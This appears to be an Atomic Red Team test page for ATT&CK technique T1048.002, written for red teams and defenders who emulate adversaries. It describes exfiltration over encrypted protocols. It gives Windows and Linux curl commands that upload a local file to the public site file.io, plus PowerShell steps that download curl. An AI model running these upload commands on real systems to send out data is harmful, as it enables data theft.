T1048.002
Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
Description from ATT&CK
Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.
Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.
Atomic Tests
Atomic Test #1 - Exfiltrate data HTTPS using curl windows
Exfiltrate data HTTPS using curl to file share site file.io
Supported Platforms: windows
auto_generated_guid: 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
input_file | Test file to upload | path | PathToAtomicsFolder/T1048.002/src/artifact |
curl_path | path to curl.exe | path | C:\Windows\System32\Curl.exe |
Attack Commands: Run with command_prompt!
1
2
#{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
Dependencies: Run with powershell!
Description: Curl must be installed on system.
Check Prereq Commands:
1
2
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
4
5
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip -DestinationPath" "PathToAtomicsFolder\..\ExternalPayloads\curl"
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-7.79.1-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
Description: #{input_file} must be exist on system.
Check Prereq Commands:
1
2
if (Test-Path "#{input_file}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "#{input_file}"
Atomic Test #2 - Exfiltrate data HTTPS using curl linux
Exfiltrate data HTTPS using curl to file share site file.io
Supported Platforms: macos,linux
auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
input_file | Test file to upload | path | PathToAtomicsFolder/T1048.002/src/artifact |
Attack Commands: Run with bash!
1
2
curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/